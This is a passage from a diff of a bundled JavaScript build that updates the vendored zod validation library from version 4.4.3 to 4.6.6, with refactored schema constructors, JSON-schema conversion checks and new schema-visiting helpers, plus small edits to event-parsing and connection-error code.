inst.minValue = bag.minimum ?? null; - inst.maxValue = bag.maximum ?? null; - inst.format = bag.format ?? null; -}); +var ZodBigInt = /* @__PURE__ */ $constructor( + "ZodBigInt", + (inst, def) => { + $ZodBigInt.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => bigintProcessor(inst, ctx, json3, params); + }, + /* @__PURE__ */ util_exports.derived({ + minValue: (inst) => aggregateChecks(inst).minimum ?? null, + maxValue: (inst) => aggregateChecks(inst).maximum ?? null, + format: (inst) => aggregateChecks(inst).format ?? null + }, { + gte(value, params) { + return this.check(_gte(value, params)); + }, + min(value, params) { + return this.check(_gte(value, params)); + }, + gt(value, params) { + return this.check(_gt(value, params)); + }, + lt(value, params) { + return this.check(_lt(value, params)); + }, + lte(value, params) { + return this.check(_lte(value, params)); + }, + max(value, params) { + return this.check(_lte(value, params)); + }, + positive(params) { + return this.check(_gt(BigInt(0), params)); + }, + negative(params) { + return this.check(_lt(BigInt(0), params)); + }, + nonpositive(params) { + return this.check(_lte(BigInt(0), params)); + }, + nonnegative(params) { + return this.check(_gte(BigInt(0), params)); + }, + multipleOf(value, params) { + return this.check(_multipleOf(value, params)); + } + }) +); function bigint2(params) { return _bigint(ZodBigInt, params); } @@ -102122,41 +106815,51 @@ var ZodVoid = /* @__PURE__ */ $constructor("ZodVoid", (inst, def) => { function _void2(params) { return _void(ZodVoid, params); } -var ZodDate = /* @__PURE__ */ $constructor("ZodDate", (inst, def) => { - $ZodDate.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => dateProcessor(inst, ctx, json3, params); - inst.min = (value, params) => inst.check(_gte(value, params)); - inst.max = (value, params) => inst.check(_lte(value, params)); - const c = inst._zod.bag; - inst.minDate = c.minimum ? new Date(c.minimum) : null; - inst.maxDate = c.maximum ? new Date(c.maximum) : null; -}); -function date3(params) { +var ZodDate = /* @__PURE__ */ $constructor( + "ZodDate", + (inst, def) => { + $ZodDate.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => dateProcessor(inst, ctx, json3, params); + inst.min = (value, params) => inst.check(_gte(value, params)); + inst.max = (value, params) => inst.check(_lte(value, params)); + }, + /* @__PURE__ */ util_exports.derived({ + minDate: (inst) => { + const { minimum } = aggregateChecks(inst); + return minimum ? new Date(minimum) : null; + }, + maxDate: (inst) => { + const { maximum } = aggregateChecks(inst); + return maximum ? new Date(maximum) : null; + } + }, {}) +); +function date2(params) { return _date(ZodDate, params); } var ZodArray = /* @__PURE__ */ $constructor("ZodArray", (inst, def) => { + _ensureDefaultMemoizer(); $ZodArray.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => arrayProcessor(inst, ctx, json3, params); inst.element = def.element; - _installLazyMethods(inst, "ZodArray", { - min(n, params) { - return this.check(_minLength(n, params)); - }, - nonempty(params) { - return this.check(_minLength(1, params)); - }, - max(n, params) { - return this.check(_maxLength(n, params)); - }, - length(n, params) { - return this.check(_length(n, params)); - }, - unwrap() { - return this.element; - } - }); +}, { + min(n, params) { + return this.check(_minLength(n, params)); + }, + nonempty(params) { + return this.check(_minLength(1, params)); + }, + max(n, params) { + return this.check(_maxLength(n, params)); + }, + length(n, params) { + return this.check(_length(n, params)); + }, + unwrap() { + return this.element; + } }); function array(element, params) { return _array(ZodArray, element, params); @@ -102166,53 +106869,54 @@ function keyof(schema) { return _enum2(Object.keys(shape)); } var ZodObject = /* @__PURE__ */ $constructor("ZodObject", (inst, def) => { + _ensureDefaultMemoizer(); $ZodObjectJIT.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => objectProcessor(inst, ctx, json3, params); - util_exports.defineLazy(inst, "shape", () => { - return def.shape; - }); - _installLazyMethods(inst, "ZodObject", { - keyof() { - return _enum2(Object.keys(this._zod.def.shape)); - }, - catchall(catchall) { - return this.clone({ ...this._zod.def, catchall }); - }, - passthrough() { - return this.clone({ ...this._zod.def, catchall: unknown() }); - }, - loose() { - return this.clone({ ...this._zod.def, catchall: unknown() }); - }, - strict() { - return this.clone({ ...this._zod.def, catchall: never() }); - }, - strip() { - return this.clone({ ...this._zod.def, catchall: void 0 }); - }, - extend(incoming) { - return util_exports.extend(this, incoming); - }, - safeExtend(incoming) { - return util_exports.safeExtend(this, incoming); - }, - merge(other) { - return util_exports.merge(this, other); - }, - pick(mask) { - return util_exports.pick(this, mask); - }, - omit(mask) { - return util_exports.omit(this, mask); - }, - partial(...args) { - return util_exports.partial(ZodOptional, this, args[0]); - }, - required(...args) { - return util_exports.required(ZodNonOptional, this, args[0]); - } - }); + util_exports.installLazyProp(inst, "shape", (self2) => self2._zod.def.shape, false); +}, { + keyof() { + return _enum2(Object.keys(this._zod.def.shape)); + }, + catchall(catchall) { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall })); + }, + passthrough() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: unknown() })); + }, + loose() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: unknown() })); + }, + strict() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: never() })); + }, + strip() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: void 0 })); + }, + extend(incoming) { + return util_exports.extend(this, incoming); + }, + safeExtend(incoming) { + return util_exports.safeExtend(this, incoming); + }, + merge(other) { + return util_exports.merge(this, other); + }, + pick(mask) { + return util_exports.pick(this, mask); + }, + omit(mask) { + return util_exports.omit(this, mask); + }, + partial(...args) { + return util_exports.partial(ZodOptional, this, args[0]); + }, + exactPartial(...args) { + return util_exports.partial(ZodExactOptional, this, args[0], "exactPartial"); + }, + required(...args) { + return util_exports.required(ZodNonOptional, this, args[0]); + } }); function object(shape, params) { const def = { @@ -102290,13 +106994,26 @@ function intersection(left, right) { }); } var ZodTuple = /* @__PURE__ */ $constructor("ZodTuple", (inst, def) => { + _ensureDefaultMemoizer(); $ZodTuple.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => tupleProcessor(inst, ctx, json3, params); - inst.rest = (rest2) => inst.clone({ - ...inst._zod.def, - rest: rest2 - }); +}, { + rest(rest2) { + return this.clone({ + ...this._zod.def, + rest: rest2 + }); + }, + partial() { + const def = this._zod.def; + if (def.checks?.length) + throw new Error(".partial() cannot be used on tuple schemas containing refinements"); + return this.clone({ + ...def, + items: def.items.map((item) => new ZodOptional({ type: "optional", innerType: item })) + }); + } }); function tuple(items, _paramsOrRest, _params) { const hasRest = _paramsOrRest instanceof $ZodType; @@ -102310,6 +107027,7 @@ function tuple(items, _paramsOrRest, _params) { }); } var ZodRecord = /* @__PURE__ */ $constructor("ZodRecord", (inst, def) => { + _ensureDefaultMemoizer(); $ZodRecord.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => recordProcessor(inst, ctx, json3, params); @@ -102333,13 +107051,12 @@ function record(keyType, valueType, params) { }); } function partialRecord(keyType, valueType, params) { - const k = clone(keyType); - k._zod.values = void 0; return new ZodRecord({ type: "record", - keyType: k, + keyType, valueType, - ...util_exports.normalizeParams(params) + ...util_exports.normalizeParams(params), + partial: true }); } function looseRecord(keyType, valueType, params) { @@ -102352,6 +107069,7 @@ function looseRecord(keyType, valueType, params) { }); } var ZodMap = /* @__PURE__ */ $constructor("ZodMap", (inst, def) => { + _ensureDefaultMemoizer(); $ZodMap.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => mapProcessor(inst, ctx, json3, params); @@ -102371,6 +107089,7 @@ function map(keyType, valueType, params) { }); } var ZodSet = /* @__PURE__ */ $constructor("ZodSet", (inst, def) => { + _ensureDefaultMemoizer(); $ZodSet.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => setProcessor(inst, ctx, json3, params); @@ -102391,7 +107110,7 @@ var ZodEnum = /* @__PURE__ */ $constructor("ZodEnum", (inst, def) => { ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => enumProcessor(inst, ctx, json3, params); inst.enum = def.entries; - inst.options = Object.values(def.entries); + inst.options = [...inst._zod.values]; const keys2 = new Set(Object.keys(def.entries)); inst.extract = (values3, params) => { const newEntries = {}; @@ -102472,6 +107191,7 @@ function file(params) { return _file(ZodFile, params); } var ZodTransform = /* @__PURE__ */ $constructor("ZodTransform", (inst, def) => { + _ensureDefaultMemoizer(); $ZodTransform.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => transformProcessor(inst, ctx, json3, params); @@ -102487,21 +107207,20 @@ var ZodTransform = /* @__PURE__ */ $constructor("ZodTransform", (inst, def) => { if (_issue.fatal) _issue.continue = false; _issue.code ?? (_issue.code = "custom"); - _issue.input ?? (_issue.input = payload.value); + if (!("input" in _issue)) + _issue.input = payload.value; _issue.inst ?? (_issue.inst = inst); payload.issues.push(util_exports.issue(_issue)); } }; - const output = def.transform(payload.value, payload); - if (output instanceof Promise) { - return output.then((output2) => { - payload.value = output2; - payload.fallback = true; + const output2 = def.transform(payload.value, payload); + if (output2 instanceof Promise) { + return output2.then((output3) => { + payload.value = output3; return payload; }); } - payload.value = output; - payload.fallback = true; + payload.value = output2; return payload; }; }); @@ -102617,7 +107336,7 @@ function _catch2(innerType, catchValue) { return new ZodCatch({ type: "catch", innerType, - catchValue: typeof catchValue === "function" ? catchValue : () => catchValue + catchValue: typeof catchValue === "function" ? catchValue : util_exports.constantCatch(catchValue) }); } var ZodNaN = /* @__PURE__ */ $constructor("ZodNaN", (inst, def) => { @@ -102754,8 +107473,15 @@ function superRefine(fn, params) { } var describe2 = describe; var meta2 = meta; +var ZodInstanceOf = /* @__PURE__ */ $constructor("ZodInstanceOf", (inst, def) => { + ZodCustom.init(inst, def); +}, { + properties(shape, params) { + return this.check(_properties(shape, params)); + } +}); function _instanceof(cls, params = {}) { - const inst = new ZodCustom({ + const inst = new ZodInstanceOf({ type: "custom", check: "custom", fn: (data) => data instanceof cls, @@ -102795,7 +107521,7 @@ function preprocess(fn, schema) { }); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/compat.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/compat.js var ZodIssueCode = { invalid_type: "invalid_type", too_big: "too_big", @@ -102821,7 +107547,32 @@ var ZodFirstPartyTypeKind; /* @__PURE__ */ (function(ZodFirstPartyTypeKind2) { })(ZodFirstPartyTypeKind || (ZodFirstPartyTypeKind = {})); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/from-json-schema.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/iso.js +var iso_exports = {}; +__export(iso_exports, { + ZodISODate: () => ZodISODate, + ZodISODateTime: () => ZodISODateTime, + ZodISODuration: () => ZodISODuration, + ZodISOTime: () => ZodISOTime, + date: () => date3, + datetime: () => datetime2, + duration: () => duration2, + time: () => time2 +}); +function datetime2(params) { + return _isoDateTime(ZodISODateTime, params); +} +function date3(params) { + return _isoDate(ZodISODate, params); +} +function time2(params) { + return _isoTime(ZodISOTime, params); +} +function duration2(params) { + return _isoDuration(ZodISODuration, params); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/from-json-schema.js var z = { ...schemas_exports2, ...checks_exports2, @@ -102911,6 +107662,12 @@ function detectVersion(schema, defaultTarget) { } return defaultTarget ?? "draft-2020-12"; } +function applyMinItems(items, minItems) { + return items.map((item, index2) => index2 < minItems ? item : item.optional()); +} +function decodeJSONPointerSegment(segment) { + return segment.replace(/~1/g, "/").replace(/~0/g, "~"); +} function resolveRef(ref, ctx) { if (!ref.startsWith("#")) { throw new Error("External $ref is not supported, only local refs (#/...) are allowed"); @@ -102921,7 +107678,7 @@ function resolveRef(ref, ctx) { } const defsKey = ctx.version === "draft-2020-12" ? "$defs" : "definitions"; if (path[0] === defsKey) { - const key = path[1]; + const key = path[1] === void 0 ? void 0 : decodeJSONPointerSegment(path[1]); if (!key || !ctx.defs[key]) { throw new Error(`Reference not found: ${ref}`); } @@ -102929,6 +107686,198 @@ function resolveRef(ref, ctx) { } throw new Error(`Reference not found: ${ref}`); } +function checkObjectGuards(objectSchema, guards) { + const guard = z.transform((value) => value).check((payload) => { + const value = payload.value; + if (typeof value !== "object" || value === null || Array.isArray(value)) + return; + const keys2 = Object.getOwnPropertyNames(value); + if (guards.minProperties !== void 0 && keys2.length < guards.minProperties) { + payload.issues.push({ + origin: "object", + code: "too_small", + minimum: guards.minProperties, + inclusive: true, + message: `Too small: expected object to have >=${guards.minProperties} properties`, + input: value, + inst: objectSchema, + continue: true + }); + } + if (guards.maxProperties !== void 0 && keys2.length > guards.maxProperties) { + payload.issues.push({ + origin: "object", + code: "too_big", + maximum: guards.maxProperties, + inclusive: true, + message: `Too big: expected object to have <=${guards.maxProperties} properties`, + input: value, + inst: objectSchema, + continue: true + }); + } + if (guards.keySchema) { + for (const key of keys2) { + const result2 = guards.keySchema.safeParse(key); + if (result2.success) + continue; + payload.issues.push({ + code: "invalid_key", + origin: "record", + issues: result2.error.issues, + input: key, + path: [key], + continue: true + }); + } + } + }); + return guard.pipe(objectSchema); +} +function canonicalKey(value, seen) { + if (value === null) + return "z"; + const type = typeof value; + if (type !== "object") { + if (type === "number" && Number.isNaN(value)) + return null; + const raw = String(value); + return `${type[0]}${raw.length}:${raw}`; + } + if (seen.has(value)) + return null; + seen.add(value); + try { + if (Array.isArray(value)) { + const parts2 = []; + for (const item of value) { + const key = canonicalKey(item, seen); + if (key === null) + return null; + parts2.push(key); + } + return `a${parts2.length}:[${parts2.join(",")}]`; + } + const keys2 = Object.keys(value).sort(); + const parts = []; + for (const k of keys2) { + const key = canonicalKey(value[k], seen); + if (key === null) + return null; + parts.push(`${k.length}:${k}=${key}`); + } + return `o${parts.length}:{${parts.join(",")}}`; + } finally { + seen.delete(value); + } +} +var SCHEMA_KEYWORDS = /* @__PURE__ */ new Set([ + "items", + "prefixItems", + "additionalItems", + "additionalProperties", + "contains", + "propertyNames", + "not", + "if", + "then", + "else", + "allOf", + "anyOf", + "oneOf", + "unevaluatedItems", + "unevaluatedProperties", + "contentSchema" +]); +var SCHEMA_MAP_KEYWORDS = /* @__PURE__ */ new Set([ + "properties", + "patternProperties", + "dependentSchemas", + "dependencies", + "$defs", + "definitions" +]); +function containsRef(value) { + if (typeof value !== "object" || value === null) + return false; + if (Array.isArray(value)) + return value.some(containsRef); + if (typeof value.$ref === "string") + return true; + return Object.entries(value).some(([key, sub]) => { + if (SCHEMA_KEYWORDS.has(key)) + return containsRef(sub); + if (!SCHEMA_MAP_KEYWORDS.has(key) || typeof sub !== "object" || sub === null) + return false; + return Object.values(sub).some(containsRef); + }); +} +function plural(n) { + return n === 1 ? "element" : "elements"; +} +function checkArrayGuards(arraySchema, guards) { + const guard = z.transform((value) => value).check((payload) => { + const items = payload.value; + if (!Array.isArray(items)) + return; + if (guards.uniqueItems === true) { + const firstSeen = /* @__PURE__ */ new Map(); + for (let i = 0; i < items.length; i++) { + const key = canonicalKey(items[i], /* @__PURE__ */ new Set()); + if (key === null) + continue; + const first2 = firstSeen.get(key); + if (first2 === void 0) { + firstSeen.set(key, i); + continue; + } + payload.issues.push({ + code: "custom", + message: `Array items must be unique: element at index ${i} duplicates the one at index ${first2}`, + input: items, + path: [i], + continue: true + }); + } + } + if (guards.containsSchema) { + const minContains = guards.minContains ?? 1; + const ceiling = guards.maxContains !== void 0 ? guards.maxContains + 1 : Number.POSITIVE_INFINITY; + let matches = 0; + for (const item of items) { + if (guards.containsSchema.safeParse(item).success && ++matches >= ceiling) + break; + } + if (matches < minContains) { + payload.issues.push({ + code: "custom", + message: `Array must contain at least ${minContains} matching ${plural(minContains)}; found ${matches}`, + input: items, + continue: true + }); + } + if (guards.maxContains !== void 0 && matches > guards.maxContains) { + payload.issues.push({ + code: "custom", + message: `Array must contain at most ${guards.maxContains} matching ${plural(guards.maxContains)}`, + input: items, + continue: true + }); + } + } + }); + return guard.pipe(arraySchema); +} +function getTupleRest(restSchema, ctx) { + if (restSchema === false) { + return void 0; + } + if (restSchema === void 0 || restSchema === true) { + return z.any(); + } + return convertSchema(restSchema, ctx); +} +var fullTime = /^(?:[01]\d|2[0-3]):[0-5]\d:[0-5]\d(?:\.\d+)?(?:Z|[+-](?:[01]\d|2[0-3]):[0-5]\d)$/; function convertBaseSchema(schema, ctx) { if (schema.not !== void 0) { if (typeof schema.not === "object" && Object.keys(schema.not).length === 0) { @@ -103021,13 +107970,15 @@ function convertBaseSchema(schema, ctx) { } else if (format === "uuid" || format === "guid") { stringSchema = stringSchema.check(z.uuid()); } else if (format === "date-time") { - stringSchema = stringSchema.check(z.iso.datetime()); + stringSchema = stringSchema.check(z.iso.datetime({ offset: true })); } else if (format === "date") { stringSchema = stringSchema.check(z.iso.date()); } else if (format === "time") { - stringSchema = stringSchema.check(z.iso.time()); + stringSchema = stringSchema.check(z.regex(fullTime)); } else if (format === "duration") { stringSchema = stringSchema.check(z.iso.duration()); + } else if (format === "hostname") { + stringSchema = stringSchema.check(z.hostname()); } else if (format === "ipv4") { stringSchema = stringSchema.check(z.ipv4()); } else if (format === "ipv6") { @@ -103044,6 +107995,10 @@ function convertBaseSchema(schema, ctx) { stringSchema = stringSchema.check(z.base64url()); } else if (format === "e164") { stringSchema = stringSchema.check(z.e164()); + } else if (format === "credit_card") { + stringSchema = stringSchema.check(z.creditCard()); + } else if (format === "iban") { + stringSchema = stringSchema.check(z.iban()); } else if (format === "jwt") { stringSchema = stringSchema.check(z.jwt()); } else if (format === "emoji") { @@ -103077,10 +108032,10 @@ function convertBaseSchema(schema, ctx) { case "number": case "integer": { let numberSchema = type === "integer" ? z.number().int() : z.number(); - if (typeof schema.minimum === "number") { + if (typeof schema.minimum === "number" && schema.exclusiveMinimum !== true) { numberSchema = numberSchema.min(schema.minimum); } - if (typeof schema.maximum === "number") { + if (typeof schema.maximum === "number" && schema.exclusiveMaximum !== true) { numberSchema = numberSchema.max(schema.maximum); } if (typeof schema.exclusiveMinimum === "number") { @@ -103111,21 +108066,10 @@ function convertBaseSchema(schema, ctx) { const shape = {}; const properties = schema.properties || {}; const requiredSet = new Set(schema.required || []); + const additionalSchema = typeof schema.additionalProperties === "object" ? convertSchema(schema.additionalProperties, ctx) : void 0; for (const [key, propSchema] of Object.entries(properties)) { const propZodSchema = convertSchema(propSchema, ctx); - shape[key] = requiredSet.has(key) ? propZodSchema : propZodSchema.optional(); - } - if (schema.propertyNames) { - const keySchema = convertSchema(schema.propertyNames, ctx); - const valueSchema = schema.additionalProperties && typeof schema.additionalProperties === "object" ? convertSchema(schema.additionalProperties, ctx) : z.any(); - if (Object.keys(shape).length === 0) { - zodSchema = z.record(keySchema, valueSchema); - break; - } - const objectSchema2 = z.object(shape).passthrough(); - const recordSchema = z.looseRecord(keySchema, valueSchema); - zodSchema = z.intersection(objectSchema2, recordSchema); - break; + assignProp(shape, key, requiredSet.has(key) ? propZodSchema : propZodSchema.optional()); } if (schema.patternProperties) { const patternProps = schema.patternProperties; @@ -103152,15 +108096,51 @@ function convertBaseSchema(schema, ctx) { } zodSchema = result2; } - break; - } - const objectSchema = z.object(shape); - if (schema.additionalProperties === false) { - zodSchema = objectSchema.strict(); - } else if (typeof schema.additionalProperties === "object") { - zodSchema = objectSchema.catchall(convertSchema(schema.additionalProperties, ctx)); + if (schema.additionalProperties === false) { + const propertyKeys = Object.keys(shape); + const patterns = patternKeys.map((p) => new RegExp(p)); + const basePatternSchema = zodSchema; + zodSchema = zodSchema.check((payload) => { + if (!isPlainObject(payload.value)) + return; + const unrecognized = []; + for (const key of Object.keys(payload.value)) { + if (propertyKeys.includes(key)) + continue; + if (patterns.some((regex) => regex.test(key))) + continue; + unrecognized.push(key); + } + if (unrecognized.length) { + payload.issues.push({ + code: "unrecognized_keys", + keys: unrecognized, + input: payload.value, + inst: basePatternSchema + }); + } + }); + } } else { - zodSchema = objectSchema.passthrough(); + const objectSchema = z.object(shape); + if (schema.additionalProperties === false) { + zodSchema = objectSchema.strict(); + } else if (additionalSchema) { + zodSchema = objectSchema.catchall(additionalSchema); + } else { + zodSchema = objectSchema.passthrough(); + } + } + const hasKeyGuard = schema.propertyNames !== void 0 && schema.propertyNames !== true; + const minProperties = typeof schema.minProperties === "number" ? schema.minProperties : void 0; + const maxProperties = typeof schema.maxProperties === "number" ? schema.maxProperties : void 0; + if (hasKeyGuard || minProperties !== void 0 || maxProperties !== void 0) { + let keySchema; + if (hasKeyGuard) { + const keyJSONSchema = typeof schema.propertyNames === "object" && schema.propertyNames.type === void 0 ? { type: "string", ...schema.propertyNames } : schema.propertyNames; + keySchema = convertSchema(keyJSONSchema, ctx); + } + zodSchema = checkObjectGuards(zodSchema, { keySchema, minProperties, maxProperties }); } break; } @@ -103168,13 +108148,12 @@ function convertBaseSchema(schema, ctx) { const prefixItems = schema.prefixItems; const items = schema.items; if (prefixItems && Array.isArray(prefixItems)) { + const minItems = typeof schema.minItems === "number" ? schema.minItems : 0; const tupleItems = prefixItems.map((item) => convertSchema(item, ctx)); - const rest2 = items && typeof items === "object" && !Array.isArray(items) ? convertSchema(items, ctx) : void 0; - if (rest2) { - zodSchema = z.tuple(tupleItems).rest(rest2); - } else { - zodSchema = z.tuple(tupleItems); - } + const positionalItems = applyMinItems(tupleItems, minItems); + const rest2 = !Array.isArray(items) ? getTupleRest(items, ctx) : void 0; + const tupleSchema = z.tuple(positionalItems); + zodSchema = rest2 ? tupleSchema.rest(rest2) : tupleSchema; if (typeof schema.minItems === "number") { zodSchema = zodSchema.check(z.minLength(schema.minItems)); } @@ -103182,13 +108161,12 @@ function convertBaseSchema(schema, ctx) { zodSchema = zodSchema.check(z.maxLength(schema.maxItems)); } } else if (Array.isArray(items)) { + const minItems = typeof schema.minItems === "number" ? schema.minItems : 0; const tupleItems = items.map((item) => convertSchema(item, ctx)); - const rest2 = schema.additionalItems && typeof schema.additionalItems === "object" ? convertSchema(schema.additionalItems, ctx) : void 0; - if (rest2) { - zodSchema = z.tuple(tupleItems).rest(rest2); - } else { - zodSchema = z.tuple(tupleItems); - } + const positionalItems = applyMinItems(tupleItems, minItems); + const rest2 = getTupleRest(schema.additionalItems, ctx); + const tupleSchema = z.tuple(positionalItems); + zodSchema = rest2 ? tupleSchema.rest(rest2) : tupleSchema; if (typeof schema.minItems === "number") { zodSchema = zodSchema.check(z.minLength(schema.minItems)); } @@ -103208,6 +108186,14 @@ function convertBaseSchema(schema, ctx) { } else { zodSchema = z.array(z.any()); } + if (schema.uniqueItems === true || schema.contains !== void 0) { + zodSchema = checkArrayGuards(zodSchema, { + uniqueItems: schema.uniqueItems === true, + containsSchema: schema.contains !== void 0 ? convertSchema(schema.contains, ctx) : void 0, + minContains: typeof schema.minContains === "number" ? schema.minContains : void 0, + maxContains: typeof schema.maxContains === "number" ? schema.maxContains : void 0 + }); + } break; } default: @@ -103265,9 +108251,27 @@ function convertSchema(schema, ctx) { extraMeta[key] = schema[key]; } } + if (schema.type === "object" && schema.$ref === void 0) { + if (schema.propertyNames !== void 0 && !containsRef(schema.propertyNames)) { + extraMeta.propertyNames = schema.propertyNames; + } + for (const key of ["minProperties", "maxProperties"]) { + if (schema[key] !== void 0) + extraMeta[key] = schema[key]; + } + } + if (schema.type === "array" && schema.$ref === void 0) { + if (schema.contains !== void 0 && !containsRef(schema.contains)) { + extraMeta.contains = schema.contains; + } + for (const key of ["uniqueItems", "minContains", "maxContains"]) { + if (schema[key] !== void 0) + extraMeta[key] = schema[key]; + } + } for (const key of Object.keys(schema)) { if (!RECOGNIZED_KEYS.has(key)) { - extraMeta[key] = schema[key]; + assignProp(extraMeta, key, schema[key]); } } if (Object.keys(extraMeta).length > 0) { @@ -103301,7 +108305,204 @@ function fromJSONSchema(schema, params) { return convertSchema(normalized, ctx); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/coerce.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/visit.js +var RESOLVING = Symbol("z.visit/resolving"); +function visit(schema, fnOrHandlers) { + const fn = typeof fnOrHandlers === "function" ? fnOrHandlers : (node2, rewritten) => { + const h = fnOrHandlers[node2._zod.def.type]; + return h ? h(node2, rewritten) : node2; + }; + const cache2 = /* @__PURE__ */ new Map(); + function run(s) { + const cached2 = cache2.get(s); + if (cached2 === RESOLVING) { + return new $ZodLazy({ + type: "lazy", + getter: () => cache2.get(s) + }); + } + if (cached2 !== void 0) + return cached2; + cache2.set(s, RESOLVING); + const inner = mapInner(s); + const mapped = fn(inner, inner !== s); + cache2.set(s, mapped); + return mapped; + } + function mapInner(s) { + const def = s._zod.def; + const kind = def.type; + switch (kind) { + case "object": { + const oldShape = def.shape; + const keys2 = Object.keys(oldShape); + let changed = false; + const newShape = {}; + for (const k of keys2) { + const mapped = run(oldShape[k]); + if (mapped !== oldShape[k]) + changed = true; + newShape[k] = mapped; + } + let newCatchall = def.catchall; + if (def.catchall) { + newCatchall = run(def.catchall); + if (newCatchall !== def.catchall) + changed = true; + } + return changed ? clone(s, { ...def, shape: newShape, catchall: newCatchall }) : s; + } + case "array": { + const mapped = run(def.element); + return mapped === def.element ? s : clone(s, { ...def, element: mapped }); + } + case "tuple": { + const oldItems = def.items; + let changed = false; + const newItems = []; + for (const item of oldItems) { + const mapped = run(item); + if (mapped !== item) + changed = true; + newItems.push(mapped); + } + let newRest = def.rest; + if (def.rest) { + newRest = run(def.rest); + if (newRest !== def.rest) + changed = true; + } + return changed ? clone(s, { ...def, items: newItems, rest: newRest }) : s; + } + case "record": + case "map": { + const newKey = run(def.keyType); + const newVal = run(def.valueType); + return newKey === def.keyType && newVal === def.valueType ? s : clone(s, { ...def, keyType: newKey, valueType: newVal }); + } + case "set": { + const newVal = run(def.valueType); + return newVal === def.valueType ? s : clone(s, { ...def, valueType: newVal }); + } + case "union": { + const oldOptions = def.options; + let changed = false; + const newOptions = []; + for (const opt of oldOptions) { + const mapped = run(opt); + if (mapped !== opt) + changed = true; + newOptions.push(mapped); + } + return changed ? clone(s, { ...def, options: newOptions }) : s; + } + case "intersection": { + const newLeft = run(def.left); + const newRight = run(def.right); + return newLeft === def.left && newRight === def.right ? s : clone(s, { ...def, left: newLeft, right: newRight }); + } + case "optional": + case "nullable": + case "default": + case "prefault": + case "catch": + case "readonly": + case "nonoptional": + case "promise": + case "success": { + const newInner = run(def.innerType); + return newInner === def.innerType ? s : clone(s, { ...def, innerType: newInner }); + } + case "pipe": { + const newIn = run(def.in); + const newOut = run(def.out); + return newIn === def.in && newOut === def.out ? s : clone(s, { ...def, in: newIn, out: newOut }); + } + case "function": { + const newInput = run(def.input); + const newOutput = run(def.output); + return newInput === def.input && newOutput === def.output ? s : clone(s, { ...def, input: newInput, output: newOutput }); + } + case "lazy": { + const original = def.getter; + const { _cachedInner, ...rest2 } = def; + return clone(s, { ...rest2, getter: () => run(original()) }); + } + // A leaf by choice: `parts` are regex fragments, not data positions. + case "template_literal": + // Leaves. + case "string": + case "number": + case "int": + case "boolean": + case "bigint": + case "symbol": + case "undefined": + case "null": + case "void": + case "never": + case "any": + case "unknown": + case "date": + case "nan": + case "enum": + case "literal": + case "file": + case "transform": + case "custom": + return s; + default: { + kind; + return s; + } + } + } + return run(schema); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/deep-partial.js +function deepPartial(schema) { + return visit(schema, { + object: (s) => s.partial(), + // Every partialed option now admits `undefined`, which the constructor rejects as a duplicate. + union: (s) => { + const def = s._zod.def; + return def.discriminator === void 0 ? s : union(def.options); + } + }); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/in-out.js +function withChecks(side, checks) { + if (!checks?.length) + return side; + const def = side._zod.def; + return clone(side, mergeDefs(def, { checks: [...def.checks ?? [], ...checks] }), { parent: true }); +} +function outSide(def) { + return withChecks(def.out, def.checks); +} +function inSide(def) { + return def.in._zod.traits.has("$ZodTransform") ? outSide(def) : def.in; +} +function input(schema) { + return visit(schema, { + pipe: (s) => inSide(s._zod.def), + // A default value belongs to the output side, so a rewritten inner type leaves it stranded. `.default()` widens the declared input type with `undefined`, and `optional` is what carries that across. + default: (s, rewritten) => rewritten ? optional(s._zod.def.innerType) : s, + // A catch value is output-side too, but `.catch()` leaves the declared input type alone, so the inner schema stands on its own. + catch: (s, rewritten) => rewritten ? s._zod.def.innerType : s + }); +} +function output(schema) { + return visit(schema, { + pipe: (s) => outSide(s._zod.def), + // A prefault value is fed through the schema, which makes it input-side, so a rewritten inner type leaves it stranded. + prefault: (s, rewritten) => rewritten ? s._zod.def.innerType : s + }); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/coerce.js var coerce_exports = {}; __export(coerce_exports, { bigint: () => bigint3, @@ -103326,9 +108527,6 @@ function date4(params) { return _coercedDate(ZodDate, params); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/external.js -config(en_default()); - // packages/types/src/common.ts var uuidSchema = external_exports.uuid(); var isoTimestampSchema = external_exports.iso.datetime(); @@ -103782,8 +108980,8 @@ var eventEnvelopeSchema = external_exports.object({ trace: traceContextSchema, payload: external_exports.unknown() }); -function parseEvent(input) { - const envelope = eventEnvelopeSchema.parse(input); +function parseEvent(input2) { + const envelope = eventEnvelopeSchema.parse(input2); const payloadSchema = payloads[envelope.event_type]; const payload = payloadSchema.parse(envelope.payload); return { ...envelope, payload }; @@ -104252,7 +109450,7 @@ var Errors = { }; function connection(x, options, socket) { const { host, port } = socket || options; - const error51 = Object.assign( + const error62 = Object.assign( new Error("write " + x + " " + (options.path || host + ":" + port)), { code: x, 